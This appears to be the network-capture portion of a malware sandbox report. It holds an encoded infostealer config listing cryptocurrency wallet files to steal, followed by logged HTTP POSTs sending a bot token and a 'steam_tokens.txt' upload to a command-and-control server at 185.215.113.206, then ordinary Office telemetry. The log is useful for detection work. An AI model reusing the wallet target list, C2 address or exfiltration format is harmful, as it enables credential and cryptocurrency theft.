Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 15:59:45.491801023 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 2d 2d 0d 0a Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="message"files------BKECFIIEHCFHIECAFBAK--
Oct 30, 2024 15:59:45.770533085 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:45.784698963 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="file"------HJJKFBGCFHCGDHIDAAEC--
Oct 30, 2024 15:59:46.553251982 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:46.593707085 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="message"ybncbhylepme------FHJDBKJKFIECAAAKFBFB--
Oct 30, 2024 15:59:46.872539043 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:46.877868891 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDAKFCGIJKJKFHIDHIII--
Oct 30, 2024 15:59:47.652055979 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 63 2f 45 65 6d 75 77 44 6b 75 6c 53 4b 2b 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 33 66 65 32 62 62 66 33 36 39 61 37 39 38 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Bc/EemuwDkulSK+m.1Context: a3fe2bbf369a7980
2024-10-30 14:59:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 14:59:02 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 63 2f 45 65 6d 75 77 44 6b 75 6c 53 4b 2b 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 33 66 65 32 62 62 66 33 36 39 61 37 39 38 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 61 73 58 72 58 58 72 6b 6a 49 69 70 73 2b 67 69 7a 75 2f 6b 78 4d 4b 62 4e 76 42 2f 41 4a 39 6b 62 32 69 31 38 72 55 48 51 68 68 4b 53 59 6e 35 6e 76 36 6e 53 45 54 69 4c 63 32 34 4f 54 6a 64 74 36 44 4f 6e 70 57 50 48 4f 6e 37 45 6e 73 78 64 6f 42 4c 6e 62 77 70 4d 59 47 42 44 35 79 42 51 48 6e 45 30 30 63 2f 71 36 49 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Bc/EemuwDkulSK+m.2Context: a3fe2bbf369a7980<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARasXrXXrkjIips+gizu/kxMKbNvB/AJ9kb2i18rUHQhhKSYn5nv6nSETiLc24OTjdt6DOnpWPHOn7EnsxdoBLnbwpMYGBD5yBQHnE00c/q6I/
2024-10-30 14:59:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 63 2f 45 65 6d 75 77 44 6b 75 6c 53 4b 2b 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 33 66 65 32 62 62 66 33 36 39 61 37 39 38 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Bc/EemuwDkulSK+m.3Context: a3fe2bbf369a7980<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 14:59:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 14:59:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 39 53 6e 4f 7a 74 64 4c 30 75 75 44 50 6b 6e 46 55 34 2f 41 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: B9SnOztdL0uuDPknFU4/Aw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:04 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:05 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:04 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145904Z-16849878b78wc6ln1zsrz6q9w800000007w000000000c2fu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:05 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
